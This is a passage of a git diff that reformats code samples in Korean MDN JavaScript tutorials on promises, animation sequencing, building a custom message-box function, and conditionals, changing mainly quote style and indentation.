+   image2.src = objectURL2;
+   document.body.appendChild(image1);
+   document.body.appendChild(image2);
+
+   // Display the text in a paragraph
+   let para = document.createElement("p");
+   para.textContent = descText;
+   document.body.appendChild(para);
+   ```
 
 7. 코드를 저장하고 창을 새로고치면 보기엔 좋지 않지만, UI 구성 요소가 모두 표시된 것을 볼 수 있습니다.
 
@@ -384,48 +397,52 @@ Promise의 결과가 fulfilled 인지 rejected인지 관계 없이 Promise가 
 
 ```js
 myPromise
-.then(response => {
-  doSomething(response);
-  runFinalCode();
-})
-.catch(e => {
-  returnError(e);
-  runFinalCode();
-});
+  .then((response) => {
+    doSomething(response);
+    runFinalCode();
+  })
+  .catch((e) => {
+    returnError(e);
+    runFinalCode();
+  });
 ```
 
 보다 최근의 현대 브라우저에서는 [`.finally()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally) 메서드를 사용할 수 있습니다. 이 메서드를 Promise 체이닝의 끝에 배치하여 코드 반복을 줄이고 좀 더 우아하게 일을 처리할 수 있습니다. 아래와 같이 마지막 블럭에 적용할 수 있습니다. :
 
 ```js
 myPromise
-.then(response => {
-  doSomething(response);
-})
-.catch(e => {
-  returnError(e);
-})
-.finally(() => {
-  runFinalCode();
-});
+  .then((response) => {
+    doSomething(response);
+  })
+  .catch((e) => {
+    returnError(e);
+  })
+  .finally(() => {
+    runFinalCode();
+  });
 ```
 
 실제 예시는 [promise-finally.html demo](https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-finally.html) 에 나와있습니다. (see the [source code](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-finally.html) also). 이 예시는 위에서 만들어본 `Promise.all()` 데모와 똑같이 작동합니다. 다만 이번에는 `fetchAndDecode()` 함수에 다음 연쇄 작업으로 `finally()` 를 호출합니다.:
 
 ```js
 function fetchAndDecode(url, type) {
-  return fetch(url).then(response => {
-    if(type === 'blob') {
-      return response.blob();
-    } else if(type === 'text') {
-      return response.text();
-    }
-  })
-  .catch(e => {
-    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
-  })
-  .finally(() => {
-    console.log(`fetch attempt for "${url}" finished.`);
-  });
+  return fetch(url)
+    .then((response) => {
+      if (type === "blob") {
+        return response.blob();
+      } else if (type === "text") {
+        return response.text();
+      }
+    })
+    .catch((e) => {
+      console.log(
+        `There has been a problem with your fetch operation for resource "${url}": ` +
+          e.message,
+      );
+    })
+    .finally(() => {
+      console.log(`fetch attempt for "${url}" finished.`);
+    });
 }
 ```
 
@@ -447,8 +464,8 @@ function fetchAndDecode(url, type) {
 
 ```js
 let timeoutPromise = new Promise((resolve, reject) => {
-  setTimeout(function(){
-    resolve('Success!');
+  setTimeout(function () {
+    resolve("Success!");
   }, 2000);
 });
 ```
@@ -458,10 +475,9 @@ let timeoutPromise = new Promise((resolve, reject) => {
 따라서 이 Promise를 호출할 때, 그 끝에 `.then()` 블럭을 사용하면 "Success!" 문자열이 전달될 것입니다. 아래 코드는 간단한 alert메시지를 출력하는 방법 입니다. :
 
 ```js
-timeoutPromise
-.then((message) => {
-   alert(message);
-})
+timeoutPromise.then((message) => {
+  alert(message);
+});
 ```
 
 혹은 아래처럼 쓸 수 있죠
@@ -487,17 +503,17 @@ Try [running this live](https://mdn.github.io/learning-area/javascript/asynchron
 ```js
 function timeoutPromise(message, interval) {
   return new Promise((resolve, reject) => {
-    if (message === '' || typeof message !== 'string') {
-      reject('Message is empty or not a string');
-    } else if (interval < 0 || typeof interval !== 'number') {
-      reject('Interval is negative or not a number');
+    if (message === "" || typeof message !== "string") {
+      reject("Message is empty or not a string");
+    } else if (interval < 0 || typeof interval !== "number") {
+      reject("Interval is negative or not a number");
     } else {
-      setTimeout(function(){
+      setTimeout(function () {
         resolve(message);
       }, interval);
     }
   });
-};
+}
 ```
 
 함수를 살펴보면 두 가지 매개변수가 있습니다. — 출력할 메시지와(message) 메시지를 출력할 때 까지 기다릴 시간(`interval`)입니다. 맨 위에 `Promise` 오브젝트를 반환하도록 되어있습니다. 따라서 함수를 실행하면 우리가 사용하고 싶은 Promise가 반환될 것 입니다..
@@ -511,13 +527,13 @@ Promise constructor 안에는 몇가지 사항을 확인하기 위해 `if ... el
 `timeoutPromise()` 함수는 `Promise`를 반환하므로, `.then()`, `.catch()`, 기타등등 을 사용해 Promise 체이닝을 만들 수 있습니다. 아래와 같이 작성해봅시다. — 기존에 있는 `timeoutPromise` 를 삭제하고 아래처럼 바꿔주세요. :
 
 ```js
-timeoutPromise('Hello there!', 1000)
-.then(message => {
-   alert(message);
-})
-.catch(e => {
-  console.log('Error: ' + e);
-});
+timeoutPromise("Hello there!", 1000)
+  .then((message) => {
+    alert(message);
+  })
+  .catch((e) => {
+    console.log("Error: " + e);
+  });
 ```
 
 이 코드를 저장하고 브라우저를 새로 고침하면 1초 후에 'Hello there!' alert가 출력될 것 입니다. 이제 메시지 내용을 비우거나 interval을 음수로 지정해보세요 그렇게 하면 Promise가 reject되며 에러 메시지를 콘솔에 출력해 줄 것입니다. 또한 resolved 메시지를 다르게 만들어 줄 수도 있습니다.
@@ -532,12 +548,12 @@ timeoutPromise('Hello there!', 1000)
 
 ```js
 function promisifyRequest(request) {
-  return new Promise(function(resolve, reject) {
-    request.onsuccess = function() {
+  return new Promise(function (resolve, reject) {
+    request.onsuccess = function () {
       resolve(request.result);
     };
 
-    request.onerror = function() {
+    request.onerror = function () {
       reject(request.error);
     };
   });
@@ -551,7 +567,7 @@ function promisifyRequest(request) {
 
 ## Conclusion
 
-Promises are a good way to build asynchronous applications when we don’t know the return value of a function or how long it will take to return. They make it easier to express and reason about sequences of asynchronous operations without deeply nested callbacks, and they support a style of error handling that is similar to the synchronous `try...catch` statement.
+Promises are a good way to build asynchronous applications when we don't know the return value of a function or how long it will take to return. They make it easier to express and reason about sequences of asynchronous operations without deeply nested callbacks, and they support a style of error handling that is similar to the synchronous `try...catch` statement.
 
 Promises work in the latest versions of all modern browsers; the only place where promise support will be a problem is in Opera Mini and IE11 and earlier versions.
 
diff --git a/files/ko/learn/javascript/asynchronous/sequencing_animations/index.md b/files/ko/learn/javascript/asynchronous/sequencing_animations/index.md
index 9eff8ee3ebf415..60a6873e877d29 100644
--- a/files/ko/learn/javascript/asynchronous/sequencing_animations/index.md
+++ b/files/ko/learn/javascript/asynchronous/sequencing_animations/index.md
@@ -2,6 +2,7 @@
 title: Sequencing animations
 slug: Learn/JavaScript/Asynchronous/Sequencing_animations
 ---
+
 {{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/Asynchronous/Introducing_workers", "Learn/JavaScript/Asynchronous")}}
 
 이 평가에서는 일련의 애니메이션을 순서대로 재생하도록 페이지를 업데이트할 것입니다. 이를 진행하기 위해 [프로미스 사용 방법](/ko/docs/Learn/JavaScript/Asynchronous/Promises)에서 배운 몇 가지 기술을 사용할 예정입니다.
@@ -56,15 +57,15 @@ slug: Learn/JavaScript/Asynchronous/Sequencing_animations
 
 ```js
 const aliceTumbling = [
-  { transform: 'rotate(0) scale(1)' },
-  { transform: 'rotate(360deg) scale(0)' }
+  { transform: "rotate(0) scale(1)" },
+  { transform: "rotate(360deg) scale(0)" },
 ];
 
 const aliceTiming = {
   duration: 2000,
   iterations: 1,
-  fill: 'forwards'
-}
+  fill: "forwards",
+};
 
 const alice1 = document.querySelector("#alice1");
 const alice2 = document.querySelector("#alice2");
diff --git a/files/ko/learn/javascript/building_blocks/build_your_own_function/index.md b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.md
index e2d7839adc24ed..701b27ecd49e8f 100644
--- a/files/ko/learn/javascript/building_blocks/build_your_own_function/index.md
+++ b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.md
@@ -34,7 +34,7 @@ slug: Learn/JavaScript/Building_blocks/Build_your_own_function
 우리가 만들 사용자 정의 함수는 `displayMessage()`라는 이름입니다. 이 함수는 웹 페이지에 사용자 정의 메시지 박스를 표시하고 브라우저의 내장 [alert()](/ko/docs/Web/API/Window/alert) 함수를 대체하는 역할을 할 것입니다. 우리는 이것을 전에 보긴 했지만, 기억을 되살려 봅시다. 원하는 어떤 페이지에서든지, 다음을 브라우저의 JavaScript 콘솔에 입력해 보세요:
 
 ```js
-alert('This is a message');
+alert("This is a message");
 ```
 
 `alert` 함수는 하나의 인수(argument)를 취합니다 — alert 박스에 표시될 문자열입니다. 메시지를 바꾸기 위해서 문자열에 변화를 줘 보세요.
@@ -52,42 +52,40 @@ alert('This is a message');
 1. [function-start.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html) 파일을 다운로드한 후 시작해 봅시다. HTML은 간단합니다 — body는 버튼 하나만을 포함하고 있습니다. 또한 커스텀 메시지 박스를 꾸밀 기본적인 CSS와, JavaScript를 넣을 빈 {{htmlelement("script")}} 요소가 제공됩니다.
 2. 다음으로, 다음을 `<script>` 요소 내부에 추가해 보세요:
 
-    ```js
-    function displayMessage() {
+   ```js
+   function displayMessage() {}
+   ```
 
-    }
-    ```
-
-    우리는 키워드 `function`으로 시작했는데, 이는 우리가 함수를 정의하고 있다는 것을 의미합니다. 이것 다음에는 우리가 함수에 붙이고 싶은 이름이 오고, 그 다음에는 괄호가 오고, 그 다음에는 중괄호가 옵니다. 함수에 넣고자 하는 매개변수(parameter)는 괄호 안에 들어가고, 함수를 호출했을 때 실행될 코드는 중괄호 안에 들어갑니다.
+   우리는 키워드 `function`으로 시작했는데, 이는 우리가 함수를 정의하고 있다는 것을 의미합니다. 이것 다음에는 우리가 함수에 붙이고 싶은 이름이 오고, 그 다음에는 괄호가 오고, 그 다음에는 중괄호가 옵니다. 함수에 넣고자 하는 매개변수(parameter)는 괄호 안에 들어가고, 함수를 호출했을 때 실행될 코드는 중괄호 안에 들어갑니다.
 
 3. 마지막으로, 다음의 코드를 중괄호 안에 추가해 보세요:
 
-    ```js
-    const html = document.querySelector('html');
+   ```js
+   const html = document.querySelector("html");
 
-    const panel = document.createElement('div');
-    panel.setAttribute('class', 'msgBox');
-    html.appendChild(panel);
+   const panel = document.createElement("div");
+   panel.setAttribute("class", "msgBox");
+   html.appendChild(panel);
 
-    const msg = document.createElement('p');
-    msg.textContent = 'This is a message box';
-    panel.appendChild(msg);
+   const msg = document.createElement("p");
+   msg.textContent = "This is a message box";
+   panel.appendChild(msg);
 
-    const closeBtn = document.createElement('button');
-    closeBtn.textContent = 'x';
-    panel.appendChild(closeBtn);
+   const closeBtn = document.createElement("button");
+   closeBtn.textContent = "x";
+   panel.appendChild(closeBtn);
 
-    closeBtn.onclick = function() {
-      panel.parentNode.removeChild(panel);
-    }
-    ```
+   closeBtn.onclick = function () {
+     panel.parentNode.removeChild(panel);
+   };
+   ```
 
 코드가 꽤 긴 편이니 조금씩 설명을 이어가겠습니다.
 
 첫 번째 줄은 {{htmlelement("html")}} 요소를 선택하고, `html` 상수에 그것에 대한 참조를 저장하기 위해 {{domxref("document.querySelector()")}} 라는 DOM API 함수를 사용했습니다. 이를 통해, 우리는 나중에 이 요소에 이런저런 것들을 할 수 있습니다.
 
 ```js
-const html = document.querySelector('html');
+const html = document.querySelector("html");
 ```
 
 다음 섹션은 {{htmlelement("div")}} 요소를 생성하기 위해 {{domxref("document.createElement()")}} 라는 또 다른 DOM API 함수를 사용하고 `panel` 상수에 그것에 대한 참조를 저장합니다. 이 요소는 메시지 박스의 바깥 컨테이너가 될 것입니다.
@@ -97,20 +95,20 @@ const html = document.querySelector('html');
 마지막으로, 우리는 앞에서 저장한 `html` 상수에 {{domxref("Node.appendChild()")}} 라는 DOM 함수를 호출하는데, 이는 한 요소를 다른 요소 안에 그것의 자식으로서 중첩합니다. 우리는 `<html>` 요소 안에 덧붙이기를 원하는 자식으로서 패널 `<div>`를 명시했습니다. 우리가 생성한 요소가 페이지에 혼자서 나타나지는 않으므로 우리는 appendChild를 사용할 필요가 있습니다 — panel을 어디 넣을지 명시해야 합니다.
 
 ```js
-const panel = document.createElement('div');
-panel.setAttribute('class', 'msgBox');
+const panel = document.createElement("div");
+panel.setAttribute("class", "msgBox");
 html.appendChild(panel);
 ```
 
 다음의 두 섹션은 새로운 요소 두 개 — {{htmlelement("p")}} 와 {{htmlelement("button")}} — 를 생성하기 위해 이미 살펴본 `createElement()`와 `appendChild()` 함수를 사용하고 이것들을 페이지에 패널 `<div>`의 자식으로서 삽입합니다. 단락 안에 메시지와, 버튼 안에 'x'를 삽입하기 위해 우리는 이 요소들의 {{domxref("Node.textContent")}} 프로퍼티를 사용해 요소의 텍스트 콘텐츠를 나타냅니다. 이 버튼은 유저가 메시지 박스를 닫기를 원할 때 클릭될/작동될 필요가 있는 것입니다.
 
 ```js
-const msg = document.createElement('p');
-msg.textContent = 'This is a message box';
+const msg = document.createElement("p");
+msg.textContent = "This is a message box";
 panel.appendChild(msg);
 
-const closeBtn = document.createElement('button');
-closeBtn.textContent = 'x';
+const closeBtn = document.createElement("button");
+closeBtn.textContent = "x";
 panel.appendChild(closeBtn);
 ```
 
@@ -119,9 +117,9 @@ panel.appendChild(closeBtn);
 간략하게 말하자면, `onclick` 핸들러는 버튼이 클릭되었을 때 어떤 코드를 실행할 지 명시하기 위해 함수에 설정될 수 있는, 버튼에서 (사실은, 페이지에 있는 어떠한 요소들에서든지) 사용 가능한 프로퍼티입니다. 차후의 [이벤트 문서](/ko/docs/Learn/JavaScript/Building_blocks/Events)에서 이것에 대해 더 많이 배울 것입니다. 우리는 `onclick` 핸들러를 익명 함수로 만들었는데, 이는 버튼이 클릭되었을 때 실행할 코드를 포함합니다. 함수 내부의 코드는 우리가 특정한 자식 요소 — 이 경우 패널 `<div>` — 를 제거하고 싶다는 것을 명시하기 위해 {{domxref("Node.removeChild()")}} DOM API를 사용합니다.
 
 ```js
-closeBtn.onclick = function() {
+closeBtn.onclick = function () {
   panel.parentNode.removeChild(panel);
-}
+};
 ```
 
 기본적으로, 이 전체 코드 블록은 아래와 같이 보이는 HTML 블록을 생성하고, 페이지에 삽입합니다:
@@ -141,32 +139,32 @@ closeBtn.onclick = function() {
 
 1. 함수를 호출하기 위해, 다음의 코드를 함수 아래에 포함시켜 보세요.
 
-    ```js
-    displayMessage();
-    ```
+   ```js
+   displayMessage();
+   ```
 
-    이 코드는 함수를 호출하는데, 즉시 실행되게 합니다. 코드를 저장하고 브라우저에서 새로고침했을 때, 작은 메시지 박스가 단 한 번, 즉시 나타나는 것을 볼 수 있을 것입니다. 어쨌든 우리는 이 함수를 오직 한 번 호출했으니까요.
+   이 코드는 함수를 호출하는데, 즉시 실행되게 합니다. 코드를 저장하고 브라우저에서 새로고침했을 때, 작은 메시지 박스가 단 한 번, 즉시 나타나는 것을 볼 수 있을 것입니다. 어쨌든 우리는 이 함수를 오직 한 번 호출했으니까요.
 
 2. 이제 예제 페이지에서 브라우저 개발자 도구를 열고, JavaScript 콘솔로 가서 이 코드를 다시 입력해 보면, 메시지 박스가 다시 나타나는 것을 볼 수 있을 것입니다! 이것은 재미있습니다 — 이제 우리는 우리가 원할 때 언제든지 호출할 수 있는 재사용 가능한 함수를 가지고 있는 것입니다.
 
-    하지만 우리는 이 함수가 유저와 시스템 작동에 응답하여 나타나기를 원합니다. 실제 어플리케이션에서는, 그러한 메시지 박스는 아마도 이용 가능한 새로운 데이터나, 발생한 에러나, 프로필을 지우려는 유저나 ("정말로 지우시겠습니까?"), 새로운 연락처를 추가한 유저 그리고 성공적으로 완료된 작동 등에 응답하여 호출될 것입니다.
+   하지만 우리는 이 함수가 유저와 시스템 작동에 응답하여 나타나기를 원합니다. 실제 어플리케이션에서는, 그러한 메시지 박스는 아마도 이용 가능한 새로운 데이터나, 발생한 에러나, 프로필을 지우려는 유저나 ("정말로 지우시겠습니까?"), 새로운 연락처를 추가한 유저 그리고 성공적으로 완료된 작동 등에 응답하여 호출될 것입니다.
 
-    이 예제에서는, 우리는 유저가 버튼을 클릭했을 때 메시지 박스가 나타나게 할 것입니다.
+   이 예제에서는, 우리는 유저가 버튼을 클릭했을 때 메시지 박스가 나타나게 할 것입니다.
 
 3. 추가한 마지막 줄을 지우세요.
 4. 다음으로, 우리는 버튼을 선택하고 상수에 이것에 대한 참조를 저장할 것입니다. 함수 정의 위에, 다음을 코드에 추가해 보세요:
 
-    ```js
-    const btn = document.querySelector('button');
-    ```
+   ```js
+   const btn = document.querySelector("button");
+   ```
 
 5. 마지막으로, 다음을 지난 코드 아래에 추가해 보세요:
 
-    ```js
-    btn.onclick = displayMessage;
-    ```
+   ```js
+   btn.onclick = displayMessage;
+   ```
 
-    함수 내부의 `closeBtn.onclick...` 코드와 비슷한 방식으로, 여기서 우리는 클릭된 버튼에 응답하여 몇몇 코드를 호출하고 있습니다. 하지만 이 경우, 코드를 포함하는 익명 함수를 호출하는 대신, 우리는 함수명을 직접 호출하고 있습니다.
+   함수 내부의 `closeBtn.onclick...` 코드와 비슷한 방식으로, 여기서 우리는 클릭된 버튼에 응답하여 몇몇 코드를 호출하고 있습니다. 하지만 이 경우, 코드를 포함하는 익명 함수를 호출하는 대신, 우리는 함수명을 직접 호출하고 있습니다.
 
 6. 저장하고 페이지를 새로고침해 보세요 — 이제 여러분이 버튼을 클릭했을 때 메시지 박스가 나타나는 것을 볼 수 있을 것입니다.
 
@@ -186,45 +184,45 @@ btn.onclick = displayMessage();
 
 1. 우선, 함수의 첫 번째 줄을
 
-    ```js
-    function displayMessage() {
-    ```
+   ```js
+   function displayMessage() {
+   ```
 
-    이것으로 업데이트하세요:
+   이것으로 업데이트하세요:
 
-    ```js
-    function displayMessage(msgText, msgType) {
-    ```
+   ```js
+   function displayMessage(msgText, msgType) {
+   ```
 
-    이제 함수를 호출할 때, 우리는 메시지 박스에 표시할 메시지와, 메시지의 타입을 나타내기 위해 괄호 안에 두 개의 변수 값을 제공할 수 있습니다.
+   이제 함수를 호출할 때, 우리는 메시지 박스에 표시할 메시지와, 메시지의 타입을 나타내기 위해 괄호 안에 두 개의 변수 값을 제공할 수 있습니다.
 
 2. 첫번째 매개변수를 사용하기 위해, 함수 안의 다음의 줄을
 
-    ```js
-    msg.textContent = 'This is a message box';
-    ```
+   ```js
+   msg.textContent = "This is a message box";
+   ```
 
-    다음으로 업데이트하세요:
+   다음으로 업데이트하세요:
 
-    ```js
-    msg.textContent = msgText;
-    ```
+   ```js
+   msg.textContent = msgText;
+   ```
 
 3. 마지막으로 또한 중요한 것은, 업데이트된 메시지 텍스트를 포함시키기 위해 이제 함수 호출을 바꿀 필요가 있다는 것입니다. 다음의 줄을
 
-    ```js
-    btn.onclick = displayMessage;
-    ```
+   ```js
+   btn.onclick = displayMessage;
+   ```
 
-    이 블록으로 바꾸세요:
+   이 블록으로 바꾸세요:
 
-    ```js
-    btn.onclick = function() {
-      displayMessage('Woo, this is a different message!');
-    };
-    ```
+   ```js
+   btn.onclick = function () {
+     displayMessage("Woo, this is a different message!");
+   };
+   ```
 
-    만약 호출할 함수의 괄호 내부에 매개변수를 넣기 원한다면, 함수는 직접 호출될 수 없습니다 — 대신, 함수를 익명 함수 안에 넣어 함수가 즉각적인 스코프(immediate scope) 내에 있지 않게 하여 즉시 호출되지 않게 할 수 있습니다. 이제 함수는 버튼이 클릭되기 전까지는 호출되지 않을 것입니다.
+   만약 호출할 함수의 괄호 내부에 매개변수를 넣기 원한다면, 함수는 직접 호출될 수 없습니다 — 대신, 함수를 익명 함수 안에 넣어 함수가 즉각적인 스코프(immediate scope) 내에 있지 않게 하여 즉시 호출되지 않게 할 수 있습니다. 이제 함수는 버튼이 클릭되기 전까지는 호출되지 않을 것입니다.
 
 4. 새로고침하고 다시 시도해 보면, 여전히 아주 잘 작동할 뿐만 아니라 박스 안에 다른 메시지들이 표시될 수 있게 매개변수에 변화를 줄 수 있다는 것 또한 확인할 수 있을 것입니다.
 
@@ -234,58 +232,58 @@ btn.onclick = displayMessage();
 
 1. 우선, 이 예제를 위해 필요한 아이콘들을 GitHub에서 다운로드하세요 ([경고](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png) 그리고 [채팅](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png)). 이것들을 HTML파일과 같은 위치에 있는 `icons` 라는 새로운 폴더에 저장하세요.
 
-    > **참고:** 경고와 채팅 아이콘은 원래 [iconfinder.com](https://www.iconfinder.com/)에서 찾아졌고, [Nazarrudin Ansyari](https://www.iconfinder.com/nazarr)가 디자인했습니다 — 감사합니다! (실제 아이콘 페이지는 이전에 이동되거나 삭제되었습니다.)
+   > **참고:** 경고와 채팅 아이콘은 원래 [iconfinder.com](https://www.iconfinder.com/)에서 찾아졌고, [Nazarrudin Ansyari](https://www.iconfinder.com/nazarr)가 디자인했습니다 — 감사합니다! (실제 아이콘 페이지는 이전에 이동되거나 삭제되었습니다.)
 
 2. 다음으로, HTML 파일 내부에서 CSS를 찾으세요. 우리는 아이콘이 들어갈 자리를 만들기 위해 약간의 변경을 가할 것입니다. 우선, `.msgBox` 폭을
 
-    ```css
-    width: 200px;
-    ```
+   ```css
+   width: 200px;
+   ```
 
-    다음으로 업데이트하세요:
+   다음으로 업데이트하세요:
 
-    ```css
-    width: 242px;
-    ```
+   ```css
+   width: 242px;
+   ```
 
 3. 다음으로, `.msgBox p { ... }` 규칙 내부에 다음을 추가하세요:
 
-    ```css
-    padding-left: 82px;
-    background-position: 25px center;
-    background-repeat: no-repeat;
-    ```
+   ```css
+   padding-left: 82px;
+   background-position: 25px center;
+   background-repeat: no-repeat;
+   ```
 
 4. 이제 우리는 아이콘 표시를 처리하기 위해 `displayMessage()` 함수에 코드를 추가해야 합니다. 다음의 블록을 함수의 닫는 중괄호 (`}`) 바로 위에 추가하세요:
 
-    ```js
-    if (msgType === 'warning') {
-      msg.style.backgroundImage = 'url(icons/warning.png)';
-      panel.style.backgroundColor = 'red';
-    } else if (msgType === 'chat') {
-      msg.style.backgroundImage = 'url(icons/chat.png)';
-      panel.style.backgroundColor = 'aqua';
-    } else {
-      msg.style.paddingLeft = '20px';
-    }
-    ```
+   ```js
+   if (msgType === "warning") {
+     msg.style.backgroundImage = "url(icons/warning.png)";
+     panel.style.backgroundColor = "red";
+   } else if (msgType === "chat") {
+     msg.style.backgroundImage = "url(icons/chat.png)";
+     panel.style.backgroundColor = "aqua";
+   } else {
+     msg.style.paddingLeft = "20px";
+   }
+   ```
 
-    여기서, 만약 `msgType` 매개변수가 `'warning'`으로 설정되어 있다면, 경고 아이콘이 표시될 것이고 패널의 배경색이 빨강으로 설정될 것입니다. 만약 이것이 `'chat'`으로 설정되어 있다면, 채팅 아이콘이 표시되고 패널의 배경색이 연한 파랑으로 설정될 것입니다. 만약 `msgType` 매개변수가 전혀 설정되어 있지 않다면 (혹은 무언가 다른 것으로 설정되어 있다면), 코드의 `else { ... }` 부분이 작동하고, 문단은 단순히 기본 패딩이 적용되고 아이콘과 패널 배경색 없이 보여질 것입니다. 즉 `msgType` 매개변수가 제공되지 않으면 기본 상태가 표시되는데, 이는 이 매개변수가 선택적인 매개변수라는 것을 의미합니다!
+   여기서, 만약 `msgType` 매개변수가 `'warning'`으로 설정되어 있다면, 경고 아이콘이 표시될 것이고 패널의 배경색이 빨강으로 설정될 것입니다. 만약 이것이 `'chat'`으로 설정되어 있다면, 채팅 아이콘이 표시되고 패널의 배경색이 연한 파랑으로 설정될 것입니다. 만약 `msgType` 매개변수가 전혀 설정되어 있지 않다면 (혹은 무언가 다른 것으로 설정되어 있다면), 코드의 `else { ... }` 부분이 작동하고, 문단은 단순히 기본 패딩이 적용되고 아이콘과 패널 배경색 없이 보여질 것입니다. 즉 `msgType` 매개변수가 제공되지 않으면 기본 상태가 표시되는데, 이는 이 매개변수가 선택적인 매개변수라는 것을 의미합니다!
 
 5. 업데이트된 함수를 시험해 봅시다. `displayMessage()` 호출을
 
-    ```js
-    displayMessage('Woo, this is a different message!');
-    ```
+   ```js
+   displayMessage("Woo, this is a different message!");
+   ```
 
-    이것들 중 하나로 업데이트해 봅시다:
+   이것들 중 하나로 업데이트해 봅시다:
 
-    ```js
-    displayMessage('Your inbox is almost full — delete some mails', 'warning');
-    displayMessage('Brian: Hi there, how are you today?','chat');
-    ```
+   ```js
+   displayMessage("Your inbox is almost full — delete some mails", "warning");
+   displayMessage("Brian: Hi there, how are you today?", "chat");
+   ```
 
-    우리의 작은 (이제 그렇게 작지는 않은) 함수가 얼마나 유용해졌는지 볼 수 있습니다.
+   우리의 작은 (이제 그렇게 작지는 않은) 함수가 얼마나 유용해졌는지 볼 수 있습니다.
 
 > **참고:** 만약 이 예제를 작업하는 데 어려움이 있다면, 자유롭게 [GitHub에 있는 완성된 버전](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html)과 비교해 보거나 ([실제로 작동하는 모습](https://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html)도 보세요), 우리에게 도움을 요청해 보세요.
 
diff --git a/files/ko/learn/javascript/building_blocks/conditionals/index.md b/files/ko/learn/javascript/building_blocks/conditionals/index.md
index a829ea9dea9743..b91aa2953ffbae 100644
--- a/files/ko/learn/javascript/building_blocks/conditionals/index.md
+++ b/files/ko/learn/javascript/building_blocks/conditionals/index.md
@@ -118,24 +118,28 @@ if (shoppingDone === true) {
 ```
 
 ```js
-const select = document.querySelector('select');
-const para = document.querySelector('p');
+const select = document.querySelector("select");
+const para = document.querySelector("p");
 
-select.addEventListener('change', setWeather);
+select.addEventListener("change", setWeather);
 
 function setWeather() {
   const choice = select.value;
 
-  if (choice === 'sunny') {
-    para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
-  } else if (choice === 'rainy') {
-    para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
-  } else if (choice === 'snowing') {
-    para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
-  } else if (choice === 'overcast') {
-    para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+  if (choice === "sunny") {
+    para.textContent =
+      "It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.";
+  } else if (choice === "rainy") {
+    para.textContent =
+      "Rain is falling outside; take a rain coat and a brolly, and don't stay out for too long.";
+  } else if (choice === "snowing") {
+    para.textContent =
+      "The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.";
+  } else if (choice === "overcast") {
+    para.textContent =
+      "It isn't raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.";
   } else {
-    para.textContent = '';
+    para.textContent = "";
   }
 }
 ```
@@ -162,12 +166,12 @@ function setWeather() {
 몇 번이고 다시 만날 boolean(`true`/`false`)값을 테스트하는 것과 일반적인 패턴에 대한 특별한 언급을 하고 싶었습니다. 어떠한 값들이든 `false`, `undefined`, `null`, `0`, `NaN`이나 빈 문자열(`''`)이 아닌 값은 조건문으로 테스트되었을 때, 실제로는 `true`를 리턴하므로, 변수가 참인지 혹은 값이 존재하는지를 테스트하기 위해 변수 이름 그 자체를 사용할 수 있습니다. 예를 들어:
 
 ```js
-let cheese = 'Cheddar';
+let cheese = "Cheddar";
 
 if (cheese) {
-  console.log('Yay! Cheese available for making cheese on toast.');
+  console.log("Yay! Cheese available for making cheese on toast.");
 } else {
-  console.log('No cheese on toast for you today.');
+  console.log("No cheese on toast for you today.");
 }
 ```
 
@@ -177,7 +181,8 @@ if (cheese) {
 let shoppingDone = false;
 let childsAllowance;
 
-if (shoppingDone) { // 명시적으로 '=== true'를 명시할 필요가 없습니다
+if (shoppingDone) {
+  // 명시적으로 '=== true'를 명시할 필요가 없습니다
   childsAllowance = 10;
 } else {
   childsAllowance = 5;
@@ -189,11 +194,17 @@ if (shoppingDone) { // 명시적으로 '=== true'를 명시할 필요가 없습
 `if...else`문을 또 다른 문 앞에 (중첩하기 위하여) 넣는 것은 완벽하게 가능합니다. 예를 들어, 온도가 무엇인지에 따라 추가적인 선택의 옵션을 보여주기 위해 우리의 날씨 예보 어플리케이션을 업데이트 할 수 있습니다.
 
 ```js
-if (choice === 'sunny') {
+if (choice === "sunny") {
   if (temperature < 86) {
-    para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
+    para.textContent =
+      "It is " +
+      temperature +
+      " degrees outside — nice and sunny. Let's go out to the beach, or the park, and get an ice cream.";
   } else if (temperature >= 86) {
-    para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+    para.textContent =
+      "It is " +
+      temperature +
+      " degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.";
   }
 }
 ```
@@ -210,10 +221,16 @@ if (choice === 'sunny') {
 AND 예시를 위해서 앞의 예제 코드를 다음과 같이 재작성할 수 있습니다.
 
 ```js
-if (choice === 'sunny' && temperature < 86) {
-  para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
-} else if (choice === 'sunny' && temperature >= 86) {
-  para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+if (choice === "sunny" && temperature < 86) {
+  para.textContent =
+    "It is " +
+    temperature +
+    " degrees outside — nice and sunny. Let's go out to the beach, or the park, and get an ice cream.";
+} else if (choice === "sunny" && temperature >= 86) {
+  para.textContent =
+    "It is " +
+    temperature +
+    " degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.";
 }
 ```
 
@@ -222,20 +239,20 @@ if (choice === 'sunny' && temperature < 86) {
 빠르게 OR 예시를 봅시다.
 
 ```js
-if (iceCreamVanOutside || houseStatus === 'on fire') {
